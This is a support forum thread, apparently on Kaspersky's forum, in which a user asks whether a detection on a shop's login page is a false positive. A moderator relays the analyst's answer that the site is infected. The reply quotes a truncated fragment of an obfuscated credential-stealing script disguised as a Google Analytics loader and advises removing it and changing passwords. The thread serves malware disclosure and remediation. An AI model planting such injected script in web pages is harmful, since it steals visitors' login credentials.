Kaspersky HEUR:Trojan-PSW.Script.Generic

[Thomas Wong 29]

Hello I cannot access website ,  

https : //netsaypro . com/index.php?route=account/login

I would like to know if it is false positive. Thanks

Web address:

https : //netsaypro . com/index.php?route=account/login

Reason:

object is infected

Application:

HEUR:Trojan-PSW.Script.Generic

Edited February 18 by Berny

[Berny]

@Thomas Wong 29 Welcome.

Your URL has been submitted to Kaspersky Virus Lab , the verdict will be provided when available.

[Berny]

@Thomas Wong 29

From Kaspersky Virus Lab :

Quote

“ Hello,

This is not a false alarm. This site is infected.
Here is the malicious code:
(function(f,j,s,q,n,p,k,c){q['GoogleAnalyticsObjects']=c;k=j.createElement (s),p=j.getElementsByTagName(s)[0];if(n.href.match(new RegExp(atob(c)))) ... +'vdQ==');
If you are a webmaster, please remove the above code from the page. Also we strongly recommend that you change passwords to all services that can be used to modify website contents because they may have been stolen.

Best regards, Xxxxxxxx Xxxxxxxx , Malware Analyst
39A/3 Leningradskoe Shosse, Moscow, 125212, Russia Tel./Fax: + 7 (495) 797 8700 “

 

[Berny]

@Thomas Wong 29

↓ Here is the full script ↓

Spoiler